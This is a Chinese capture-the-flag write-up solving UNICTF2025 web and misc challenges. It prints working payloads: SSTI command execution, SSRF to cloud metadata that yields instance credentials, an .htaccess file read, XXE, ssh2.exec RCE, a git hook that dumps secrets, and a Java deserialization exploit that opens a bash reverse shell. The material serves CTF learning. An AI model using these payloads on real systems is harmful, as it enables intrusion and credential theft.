前言 题目来源https://www.ctfplus.cn/,可以直接搜索标签`UNICTF2025`就可以找到题目了。这个当时参加之后没有系统复现学习,学习一下
web GlyphWeaver 首先看源码
这里注释写到了使用的jinja2模板,还有两个路由POST /api/preview → 实时预览POST /api/export → 创建导出任务(异步)可以考虑ssti了。
还有就是这个CJK-friendly,这个就是中日韩统一表意文字。题目经过测试存在waf,过滤了{{}},但是题目提示了这个,在处理中日韩文字,最常见的清理手段就是Unicode Normalization,把全角字符转换为半角字符。可以提在预览界面尝试一下啊
这里输入的全角字符{{7*7}},经过处理转换为半角字符,这里知识处理过了,便没有渲染执行,而在/api/export 的二次 Jinja 渲染
最后的payload
1 {{lipsum.__globals__.os.popen("cat /flag").read()}}
下载文件得到flag
CloudDiag 这里直接注册进去就是一个ssrf,测试常见的url不太行,没有返回数据。然后是这个Cloud Explorer
第一次接触这些概念,记录一下。先看一下题目描述
这里提及到敏感数据,就是上图说的。
169.254.169.254
这是几乎所有公有云厂商(AWS、阿里云、腾讯云、华为云) 虚拟机内部固定的元数据服务 IP,我们在云上创建一台虚拟机时,云厂商会给机器提供一个元数据服务(IMDS),让这台机器通过访问特定的内网地址(比如169.254.169.254)来查询自己的信息。信息包括实例ID、位置区域、私有IP和公有IP、IAM角色凭证,我们可以通过SSRF获取这些信息
IAM角色
这是云服务器的内置账号权限,不用输入密钥可以直接操作对象储存
在题目底部写的有
1 CloudDiag runs in a cloud environment with instance roles for diagnostics.
说明这个机器自带云权限,可以直接读取储存桶
AccessKeyId / SecretAccessKey
云服务的账号密码
AccessKeyId = 用户名
SecretAccessKey = 密码
SessionToken = 临时登录凭证(临时密钥必须带)
SessionToken
只有从元数据拿到的临时密钥 才带这个,永久密钥没有。
Bucket(存储桶)
云存储的文件夹
AWS 叫 S3 Bucket
阿里云叫 OSS Bucket
接下来就是通过ssrf获取上述信息,然后得到flag
参考网上的wp这一题又来两种解法,存在非预期解。都复现以下
非预期解:
就是fuzz测试这个url,当测试`http://metadata
提示给了端口在1338,然后就是查看元数据了,
查看角色名
1 http://metadata:1338/latest/meta-data/iam/security-credentials/
读取敏感数据
1 http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role
Access Key ID :
Secret Access Key :
1 2ba16bdb57834377a98f0d741b405bf039cf11f7314e4393b0cf33d2452afbe5
Session Token :
1 b18552dac18647fd96a76de6955a13a6e78c708e9c16417692d0e430f3fab716
查看储存桶
查看第一个桶
查看flag
1 UniCTF{ebf324db-a8da-4c89-87ec-fd6ba6fe9cfa}
预期解就是在登入界面存在弱口令
这里在注册时用户名尝试admin,root。发现存在root用户,爆破密码
root/root123
查看这个任务
这里就给出了url接下来就是读取敏感信息了。步骤同上
ezUpload 考察的文件上传,不过上传的文件比较特殊,题目要求上传配置文件,上传限制:最大1kb,waf:?$ & ; |` \ <,没有php代码。
这里主要时Apache HTTP Server2.4.65的配置问题导致问题。通过表达式注入读取文件
.htaccess文件配置
1 Header set X-Flag "expr=%{file:/flag}"
file:/path是 Apache 表达式内置函数,可读取服务器本地文件内容并写入响应头X-Secret
然后在随便上传一个文件,访问即可得到flag
SecureDoc 又是一个文件上传,这个要上传的时pdf,代码提示
XFA时pdf的动态表单技术,它允许PDF内部嵌入一段XML数据来动态描述表单的布局数据等等,xfa数据
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <data>&xxe;</data> </xfa:datasets> </xdp:xdp>
生成对应pdf上传
一鸣唱吧 尝试注册登陆进入,有文件上传,文件下载两个功能,只能上传wav,mp3格式,尝试上传1.mp3,发现对文件进行重命名,经过测试只有最后两个数字不一样。接下来就是fuzz测试。参考官方wp解法
分别对最后两个数字还有文件后缀进行爆破。
1 ffuf -u http://80-6f873b58-c495-4397-95b8-f9afb959de0f.challenge.ctfplus.cn//uploads/UNiCTF2026W1W2 -w num.txt:W1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2
第一次用可能会报错,没有装seclists字典
1 apt update && apt install seclists -y
然后就可以爆破了
有这两个关键文件,在php文件时一个phpinfo,依旧非预期
预期解还有继续往往下做。打开db文件
这里给出了admin用户的hash值,查询一下
密码时admin888
这里admin用户多了一个文件读取功能,先读取download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 <?php // 引入数据库连接 require_once 'includes/db.php'; if (session_status() === PHP_SESSION_NONE) { session_start(); } if (!isset($_SESSION['user'])) { require_once 'includes/header.php'; die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>"); require_once 'includes/footer.php'; } if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) { $format = isset($_GET['format']) ? $_GET['format'] : ''; // ======================================== // 安全过滤:协议黑名单检查 // ======================================== $dangerousProtocols = [ 'php://', 'data://', 'phar://', 'zip://', 'compress.zlib://', 'compress.bzip2://', 'zlib://', 'glob://', 'expect://', 'input://', 'http://', 'https://', 'ftp://', 'ftps://', 'dict://', 'gopher://', 'tftp://', 'ldap://', 'ssh2.sftp://', 'ssh2.scp://', 'ssh2.tunnel://', 'rar://', 'ogg://', ]; foreach ($dangerousProtocols as $protocol) { if (stripos($format, $protocol) !== false) { require_once 'includes/header.php'; echo "<div class='container'>"; echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>"; echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>"; echo "</div>"; require_once 'includes/footer.php'; exit; } } // ======================================== $full_path = $format; $is_viewing_source = (strpos($format, 'file://') === 0); if ($is_viewing_source) { header('Content-Type: text/plain; charset=utf-8'); } else { header('Content-Type: text/html; charset=utf-8'); require_once 'includes/header.php'; echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>"; echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>"; echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>"; } try { $handle = @fopen($full_path, 'r'); if ($handle) { $content = stream_get_contents($handle); if ($is_viewing_source) { echo $content; } else { echo htmlspecialchars($content); } fclose($handle); } else { echo "Error: 资源加载失败。\n"; echo "可能的原因为:\n"; echo "1. 文件路径不存在\n"; echo "2. 权限不足 (Permission Denied)\n"; echo "3. 协议格式错误\n"; } } catch (Exception $e) { echo "System Error: " . $e->getMessage(); } if (!$is_viewing_source) { echo "</div></div>"; // 关闭 console 和 container require_once 'includes/footer.php'; } exit; } //普通会员文件下载 require_once 'includes/header.php'; if (isset($_GET['file'])) { $file = $_GET['file']; if (strpos($file, '..') === false && strpos($file, '/') === false) { $filepath = "uploads/" . $file; if (file_exists($filepath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Content-Length: ' . filesize($filepath)); readfile($filepath); exit; } else { echo "<p class='error'>文件不存在或已被移除。</p>"; } } else { echo "<p class='error'>非法请求。</p>"; } } $admin_panel = ''; if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) { $current_dir = __DIR__; $admin_panel = <<<HTML <div class="admin-panel"> <h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3> <p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p> <form method="get" target="_blank"> <input type="hidden" name="preview" value="true"> <label>Resource URI:</label> <input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required> <button type="submit">加载资源</button> </form> </div> HTML; } ?> <h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2> <p>这里存放着系统归档文件。普通会员可根据文件名下载。</p> <div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);"> <h3>📥 歌曲/文件下载</h3> <form method="get"> 文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3"> <button type="submit">下载文件</button> </form> </div> <?php echo $admin_panel; require_once 'includes/footer.php'; ?>
这里可以进行文件读取,file://协议可以使用,可以读取/etc/passwd文件,但是读取不了/flag
看来要进行rce了。看wp是用到了据ssh2模块的定义,其中有一个ssh2.exec://协议,该协议可以在远程ssh上执行命令。但需要获得一个ssh用户的凭证。 该协议的格式是这样的:ssh2.exec://user:pass@ip/cmd
依旧报错,尝试换一个用户凭证
这里执行了的但是没回显,写入静态文件
1 download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/ls%20/>/var/www/html/1.txt
ezUpload Revenge!! payload
1 2 3 4 RewriteEngine On RewriteCond expr "file('/flag') =~ /(.+)/" RewriteRule .* - [E=FLAG_CONTENT:%1] Header set X-Test-Expr "%{FLAG_CONTENT}e"
使用file读取flag并存入环境变量,然后设置响应头返回
Intrasight 在源码注释中有提示
1 <!-- internal-services: [public_web, admin_panel, w*_*e*1*r] -->
尝试遍历一下端口,这里测试几个常用的端口
1 2 80, 443, 3000, 5000, 6379, 8000, 8001, 8080, 8081, 8888, 9000, 9200, 1337,22,7001,8899
扫到了8001,是admin_panel,直接看没有信息,看openapi.json
有一个接口/redirect_ws
在9000端口有WebSocket 服务!直接访问ws://127.0.0.1:9000/ws?token=92b590216cbb44a79ab60c80e026b7b0
1 2 3 4 5 { "ws": "ok", "message": "handshake success", "welcome": "{\"error\":\"invalid origin 'None' ; X-Internal-Token header must match ?token; token expired or invalid (try /redirect_ws)\"}" }
添加请求头X-Internal-Token: token
然后是
在添加origin:http://127.0.0.1,这个token是一次性的,发送一次请求就需要再次获取一个新的token
然后就是就是ssti,发送json即可
ez Java 这是一道java反序列化题目,
这里给出了上传路径,先分析一下jar包
首先是UserProfileController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 @RequestMapping({"/api/user"}) public class UserProfileController { private static final Logger logger = LoggerFactory.getLogger(UserProfileController.class); @PostMapping({"/settings/import"}) public String importSettings (@RequestParam(name = "configData") String configData) { try { byte [] rawData = Tools.base64Decode(configData); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (rawData)); String identity = ois.readUTF(); int version = ois.readInt(); if ("InternalManager" .equals(identity) && version == 2025 ) { Object obj = ois.readObject(); logger.info("Config Sync Status: Object [{}] has been integrated into system context." , obj); return "SUCCESS: Configuration synchronized at internal level." ; } else { return "FAILED: Identity verification failed." ; } } catch (Exception var7) { return "ERROR: Malformed configuration stream." ; } } }"}) public class UserProfileController { private static final Logger logger = LoggerFactory.getLogger(UserProfileController.class); @PostMapping({" /settings/import "}) public String importSettings(@RequestParam(name = " configData") String configData) { try { byte[] rawData = Tools.base64Decode(configData); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(rawData)); String identity = ois.readUTF(); int version = ois.readInt(); if (" InternalManager".equals(identity) && version == 2025) { Object obj = ois.readObject(); logger.info(" Config Sync Status: Object [{}] has been integrated into system context.", obj); return " SUCCESS: Configuration synchronized at internal level."; } else { return " FAILED: Identity verification failed."; } } catch (Exception var7) { return " ERROR: Malformed configuration stream."; } } }
这个代码就对应上了上图中说的,路径/api/user/settings/import,接收参数configData参数,格式是base64,解析配置同步到系统。 从前端获取到的configData参数后进行base64解码位字节数组。
反序列化:
1 2 3 4 String identity = ois.readUTF(); int version = ois.readInt(); if ("InternalManager" .equals(identity) && version == 2025 ) { Object obj = ois.readObject();
设置了两个变量用来读取字符串和整数。然后进行判断identity == InternalManager 且 version == 2025,校验通过后反序列化对象
UserProfile.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class UserProfile implements Serializable { private String uid; private String username; private ConfigDataWrapper customConfig; public UserProfile (String uid, String username, ConfigDataWrapper config) { this .uid = uid; this .username = username; this .customConfig = config; } public String toString () { return "UserProfile{uid='" + this .uid + '\'' + ", username='" + this .username + '\'' + ", config=" + (this .customConfig != null ? this .customConfig.toString() : "null" ) + '}' ; } }
定义了一个可以反序列化的类。有三个属性,uid,username,还有一个自定义的类,下面的toString()方法就是把UserProfile对象变成一段可读的字符串。如果 customConfig 不为空,就自动调用它的 toString () 方法 ,看一下这个this.customConfig.toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class ConfigDataWrapper implements Serializable { private static final long serialVersionUID = 6623142231L ; private String configId; private Map<String, String> metadata = new HashMap (); private long lastModified = System.currentTimeMillis(); private int checksum; private transient String debugInfo; private byte [] ClassByte; private String sign; public String toString () { StringBuilder result = new StringBuilder (); result.append("ConfigDataWrapper[" ).append("ID=" ).append(this .configId == null ? "DEFAULT" : this .configId).append(", MetaSize=" ).append(this .metadata == null ? 0 : this .metadata.size()).append("]" ); if (this .ClassByte != null && "ready" .equals(this .sign)) { try { byte [] decrypted = new byte [this .ClassByte.length]; for (int i = 0 ; i < this .ClassByte.length; ++i) { decrypted[i] = (byte )(this .ClassByte[i] ^ 255 ); } StringBuilder sb = new StringBuilder (); String hex = "646566696e65436c617373" ; for (int i = 0 ; i < hex.length(); i += 2 ) { sb.append((char )Integer.parseInt(hex.substring(i, i + 2 ), 16 )); } ClassLoader loader = Thread.currentThread().getContextClassLoader(); Method m = ClassLoader.class.getDeclaredMethod(sb.toString(), String.class, byte [].class, Integer.TYPE, Integer.TYPE); m.setAccessible(true ); Class<?> clazz = (Class)m.invoke(loader, null , decrypted, 0 , decrypted.length); clazz.getConstructor().newInstance(); return result.append(" [Verified Context Loaded]" ).toString(); } catch (Exception var8) { return result.append(" [Verification Failed]" ).toString(); } } else { return result.append(" [Status: STANDBY]" ).toString(); } } }
首先就是if语句,要求ClassByte不为空,并且sign等于ready,然后就是对传入的ClassByte每个字节进行^255异或,如果我们事先传入的
数据就异或过了,那么经过这个异或之后就会还原成原样数据。接着往下看。
1 2 3 4 5 6 StringBuilder sb = new StringBuilder (); String hex = "646566696e65436c617373" ; for (int i = 0 ; i < hex.length(); i += 2 ) { sb.append((char )Integer.parseInt(hex.substring(i, i + 2 ), 16 )); }
就是把十六进制字符串转换位英文单词defineClass,然后接下来就是获得服务器运行的类加载器,然后通过反射,找到 ClassLoader 里的 defineClass 方法,这个方法就是把byte[]二进制字节码直接变成一个可运行的类。
1 Class<?> clazz = (Class)m.invoke(loader, null , decrypted, 0 , decrypted.length);
这个decrypted就是我们传入的字节码,代码会把这个字节码变为一个类,也就是服务器中会多一个我们自己写的类。
1 clazz.getConstructor().newInstance();
然后运行这个类,执行里面的命令。
综上理一下整体思路,首先验证两个数据identity还有version然后反序列化,执行到
1 logger.info("Config Sync Status: Object [{}] has been integrated into system context.", obj);
到这会自动调用obj.toString,这个 obj 是 UserProfile 类型,然后进入 UserProfile.toString(),然后准备一个恶意类字节码,调用definClass加载恶意类进行rce,这里使用反弹shell
恶意类
1 2 3 4 5 6 7 8 9 10 public class test { public test () { try { String cmd = "bash -c 'bash -i >& /dev/tcp/ip/port>&1'" ; Runtime.getRuntime().exec(new String []{"/bin/bash" , "-c" , cmd}); } catch (Exception e) { } } }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package org.example;import com.unictf.ctf.tools.ConfigDataWrapper;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64; class Exp { public static void main (String[] args) throws Exception { String target = "http://8888-b87758a6-93ac-41d9-a29f-00b08d7406d3.challenge.ctfplus.cn/api/user/settings/import" ; byte [] bytes = Files.readAllBytes(Paths.get("test.class" )); for (int i = 0 ; i < bytes.length; i++) { bytes[i] = (byte ) (bytes[i] ^ 0xff ); } ConfigDataWrapper wrapper = new ConfigDataWrapper (); setField(wrapper, "configId" , "CONF-2025" ); setField(wrapper, "sign" , "ready" ); setField(wrapper, "ClassByte" , bytes); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); Field valField = BadAttributeValueExpException.class.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(bad, wrapper); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeUTF("InternalManager" ); oos.writeInt(2025 ); oos.writeObject(bad); oos.close(); String payload = Base64.getEncoder().encodeToString(baos.toByteArray()); String body = "configData=" + URLEncoder.encode(payload, "UTF-8" ); HttpURLConnection conn = (HttpURLConnection) new URL (target).openConnection(); conn.setRequestMethod("POST" ); conn.setDoOutput(true ); conn.setRequestProperty("Content-Type" , "application/x-www-form-urlencoded" ); conn.getOutputStream().write(body.getBytes("UTF-8" )); System.out.println("请求发送成功!响应码:" + conn.getResponseCode()); } public static void setField (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
然后就可以rce了,flag在环境变量中
这里要注意版本使用jdk8版本,然后就是导入jar包的问题,由于刚开始接触java反序列化关于idea中的一些配置不太熟悉,刚开始直接导入Unictf.jar包一直报错,后来发现是导入包的路径不对,上述代码需要导入的是
然后同步修改pox.xml就可以
Bytecode Compiler 首先看一下题目是字节码编译器,会执行三个指令,抓包看一下
发送的并不是明文,而是一段base64编码,如果勾选了诊断模式,
这里会有flag在前端就泄露了处理逻辑/bundle.js,这里分析主要逻辑。
1 2 3 4 const nonce = new Uint8Array(8); // 8字节随机数 crypto.getRandomValues(nonce); // 密码学安全随机数 const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true); const flags = diagModeEl.checked ? 0x01 : 0x00; // 诊断模式标志
这里的flags是一个常量,根据flags=1就是诊断模式,用来展示详细的数据。这里的flag是标志,看看代码中是怎么定义的
1 2 3 4 5 6 7 8 9 10 11 const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00 ; const opMap = { ECHO : 0 , LEN : 1 , HASH : 2 }; const dispatchRules = [ 'signed_flags >= 0: dispatch index follows op_id' , 'signed_flags < 0: compatibility dispatch uses flags in index' , 'dispatch table has 4 slots (including internal diagnostic slot)' ]; const signedFlags = (flags << 24 ) >> 24 ; const dispatchIndex = signedFlags < 0 ? (((signedFlags >>> 0 ) | opId) % 4 ) : (opId % 4 );
这里定义了012这个三个指令id,接着定义了三条规则,flag>=0时,调度索引=指令id计算opID%4
1 2 3 4 5 6 7 ECHO → opId=0 → 0%4=0 LEN → opId=1 → 1%4=1 HASH → opId=2 → 2%4=2
当flag为负数时,进入兼容模式,调度索引 = flags + 指令 ID 一起算,第三句给出了提示,一共有4个指令执行槽位,但是题目中只给出了3个命令,那最后一个应该可以获得flag,
1 const signedFlags = (flags << 24) >> 24;
在代码中定义的是flag的值是1或者0,经过左右移动,最高位是0就是整数,最高位是1就是负数,flag在0x00 ~ 0x7F就是正数,0x80 ~ 0xFF就是负数,但是题目默认定义的是0x00,0x01,也就是说永远负数。就不会用到那个隐藏的命令,现在以及知道了加密算法就可以构造任意命令进入,参考官方给出的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import base64import osimport structKEY_PARTS = [0x1C , 0x2D , 0x3E , 0x40 , 0xA5 , 0xB6 , 0xC7 , 0xD8 , 0x24 , 0x68 , 0xAC , 0xE0 ] K1 = ((KEY_PARTS[0 ] << 24 ) | (KEY_PARTS[1 ] << 16 ) | (KEY_PARTS[2 ] << 8 ) | KEY_PARTS[3 ]) & 0xFFFFFFFF K2 = ((KEY_PARTS[4 ] << 24 ) | (KEY_PARTS[5 ] << 16 ) | (KEY_PARTS[6 ] << 8 ) | KEY_PARTS[7 ]) & 0xFFFFFFFF K3 = ((KEY_PARTS[8 ] << 24 ) | (KEY_PARTS[9 ] << 16 ) | (KEY_PARTS[10 ] << 8 ) | KEY_PARTS[11 ]) & 0xFFFFFFFF ROT = 11 def rotl32 (value, shift ): return ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFF def encode_op (op_id, nonce_low32 ): rot = rotl32(nonce_low32 ^ K2, ROT) & 0xFFFFFFFC base = (op_id ^ K1) + rot return ((base ^ K3) | 0x80000000 ) & 0xFFFFFFFF def fnv1a32 (data ): h = 0x811C9DC5 for b in data: h = (h ^ b) & 0xFFFFFFFF if h & 0x80000000 : h = h - 0x100000000 h = int (float (h) * float (0x01000193 )) & 0xFFFFFFFF return h def build_packet (op_id, flags, arg_bytes, nonce ): nonce_low32 = struct.unpack("<I" , nonce[:4 ])[0 ] op_code = encode_op(op_id, nonce_low32) body = bytearray () body.extend(b"WVLT" ) body.append(0x01 ) body.extend(nonce) body.append(1 ) body.extend(struct.pack("<I" , op_code)) body.append(flags & 0xFF ) body.extend(struct.pack("<H" , len (arg_bytes))) body.extend(arg_bytes) checksum = fnv1a32(body) body.extend(struct.pack("<I" , checksum)) return bytes (body) def main (): op_id = 0 flags = 0x00 arg = "hello" nonce = os.urandom(8 ) packet = build_packet(op_id, flags, arg.encode("utf-8" ), nonce) print (base64.b64encode(packet).decode()) if __name__ == "__main__" : main()
这里给出了token,题目提示系统支持后端拉取配置:/api/fetch?url=...&token=...(token 正确时会携带管理头)
有了token,就可以ssrf,在robots.txt有路径
/api/fetch?url=http://127.0.0.1/internal/flag&token=you-got-me-baby-where-is-my-bytecode
gogogos 打开容器看到已经存在一个用户
然后就是弱口令ctf:ctf登入进去,发现是admin用户
创建仓库可以查看钩子
这里可以重写pre-receive,服务器收到客户端的 push 请求后,在任何提交被写入仓库之前执行。修改如下
1 2 3 4 #!/bin/sh (cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /app/flag.txt 2>/dev/null || printenv FLAG 2>/dev/null || printenv GZCTF_FLAG 2>/dev/null || printenv DASFLAG 2>/dev/null) >&2 exit 1
然后本地克隆仓库,由于代理问题用的命令需要配置参数,仅供参考
1 2 git -c http.proxy= -c https.proxy= clone http://ctf:ctf3000-49c4f56e-3b43-4c4f-86de-4180c95602cf.challenge.ctfplus.cn/ctf/aaa.git
然后需要先完成准备工作,创建一个文件,然后再push
虽然会报错,但是会返回flag
MISC 截取的线索 题目给了两个附件,首先看那个文件7,010打开看数据
RinDSA|W6dlkbXsob,通过异或
然后就是看图片分辨率是96x1,一共是96个像素点,每个像素点有8位储存颜色,0 = 黑 = 0,255 = 白 = 1,像素转换位二进制,
1 2 010111110100011101110010011001010110000101110100010111110111010001101111001100000011000101111101
8位一组转ASCII码
01011111 -> _
01000111 -> G
01110010 -> r
01100101 -> e
01100001 -> a
01110100 -> t
01011111 -> _
01110100 -> t
01101111 -> o
00110000 -> 0
00110001 -> 1
01111101 -> }
UniCTF{P1ckle_the_Great_to01}
Sign in 题目提示是U2VjcmV0S2V5,base64解码SecretKey,然后是Serpent解密,这里要补充密钥要十六字节然后解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import base64from pathlib import Pathfrom pyserpent import Serpentdef main () -> None : hint_b64 = "U2VjcmV0S2V5" hint = base64.b64decode(hint_b64) key = hint.ljust(16 , b"\x00" ) ciphertext = Path("Serpent.dat" ).read_bytes() cipher = Serpent(key) plaintext = cipher.decrypt(ciphertext) flag = plaintext.rstrip(b"\x00" ).decode() print (f"hint: {hint!r} " ) print (f"key : {key!r} " ) print (f"flag: {flag} " ) if __name__ == "__main__" : main()
UniCTF{Serpentine_Secrets}
Silent Resolver 大概浏览浏览一下可以看到全是dns流量,并且有可疑域名a1b2c3d4.exfil.unictf.local,过滤看一下
这里看到有0000-0005,在域名前面都字符串,提取出来
kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamzwgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wdklrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxakacqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaaaaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaaaqaaiagyaaaac6aaaaaaaa
有特征位a-Z,2-7特征是base32,这个一眼base转文件,
1 2 3 4 5 6 7 8 9 10 import base64 data = "kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamzwgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wdklrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxakacqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaaaaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaaaqaaiagyaaaac6aaaaaaa" data = data.upper() padding = 8 - (len(data) % 8) if padding != 8: data += '=' * padding decoded = base64.b32decode(data, casefold=True) with open("decoded.zip", "wb") as f: f.write(decoded)
解压得到flag
UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}
Welcome 璇玑科技发送Unictf2026得到flag
UniCTF{He110_Uni}
总裁四比特,这能玩? 随波逐流分析一波图片,formost文件提取出两个图片,尝试图片重叠,盲水印都不行。然后就没招了,还去问问三角洲的兵图片的几个人物技能,也没写出来,后来看wp,【2026UniCTF】总裁四比特,这能玩? - wyuu101 - 博客园 知道思路
原始图片大小是4715004字节,提取出的liange图片是747,327字节,提取的jpg是1,725,696字节,
4715004-1725696-747327x2=747327=747327x2
这里参考大佬脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 with open ("比特.jpg" ,"rb" ) as f: data = f.read() print (len (data)) data_seg1 = data[:1725696 ] with open ("data_seg1.jpg" ,"wb" ) as f: f.write(data_seg1) print (len (data_seg1)) len_seg2_and_seg3 = len (data[1725696 :]) print (len_seg2_and_seg3) len_seg2 = len_seg3 = len_seg2_and_seg3 //2 print (len_seg2) data_seg2 = data[1725696 :1725696 +len_seg2] data_seg3 = data[1725696 +len_seg2:] print (len (data_seg2)) print (len (data_seg3)) print (data_seg2.hex ()[:100 ]) print (data_seg3.hex ()[:100 ]) seg2_high_bytes = [] for i in data_seg2: seg2_high_bytes.append(i >> 4 ) print (len (seg2_high_bytes)) print (seg2_high_bytes[:100 ])
输出结果
1 2 3 4 5 6 7 8 9 10 11 12 4715004 1725696 2989308 1494654 1494654 1494654 59004eb70d3a0a4a1040000d090804020080040890a0743628d650c0505657b375c0507066925bc704b00000f070607903bb 89504e470d0a1a0a0000000d4948445200000448000004d60806000000361793e500000006624b4744000000000000f943bb 1494654 [5, 0, 4, 11, 0, 3, 0, 4, 1, 4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 9, 10, 7, 3, 2, 13, 5, 12, 5, 5, 5, 11, 7, 12, 5, 7, 6, 9, 5, 12, 0, 11, 0, 0, 15, 7, 6, 7, 0, 11, 0, 0, 0, 8, 0, 0, 1, 3, 0, 0, 11, 12, 12, 14, 11, 10, 12, 0, 2, 14, 7, 0, 6, 14, 6, 7, 7, 5, 7, 0, 0, 15, 0, 0, 0, 1, 1, 0, 2, 2, 10, 9, 1, 6, 14, 5, 9, 8, 8, 9]
主要是分析这俩个数据
1 2 59004eb70d3a0a4a1040000d090804020080040890a0743628d650c0505657b375c0507066925bc704b00000f070607903bb 89504e470d0a1a0a0000000d4948445200000448000004d60806000000361793e500000006624b4744000000000000f943bb
这是提取的十六进制数据,两个一组,左边的是高四位,右边的是低四位,对比两组数据,低四位相同,高四位不同,同时这个高位四组成的新的十六进制就是zip文件的文件头504b0304,就可以提取出一个zip,里面有一个嘉豪
随波逐流提取隐藏txt得到flag
UniCTF{Y0u_4r3_4_6r347_h4ck3r_!}
BlueBreath
看post请求先上传webshell,然后进行后续操作。追流看一下
cookie带分号,哥斯拉流量,解密要找key,流量包还有一个压缩包,附件是是一个加密的压缩包,明文攻击破解压缩包
1 bkcrack -C hint.zip -c hint.png -x 0 89504E470D0A1A0A0000000D
然后这个lsb隐写我是没想到这么配置
Ahiz_2026,解密时密钥区md5值的前16位2dc3ef5ff0c67015,但是我不理解为什么wp上用的密钥是dc3ef5ff0c670152
看相应包即可得到flag
工厂应急流量分析 任务 1:谁把阀门打开了?
这里就是用到modbus的功能码,在modbus通信里,功能码就是告诉设备要执行什么操作。modbus操作的对象有线圈,离散输出,输入寄存器,保持寄存器。
线圈:相当于开关,在MODBUS中可读可写,数据只有00和01。 离散量:输入位,开关量,在MODBUS中只读。 输入寄存器:只能从模拟量输入端改变的寄存器,在MODBUS中只读。 保持寄存器:用于输出模拟量信号的寄存器,在MODBUS中可读可写。
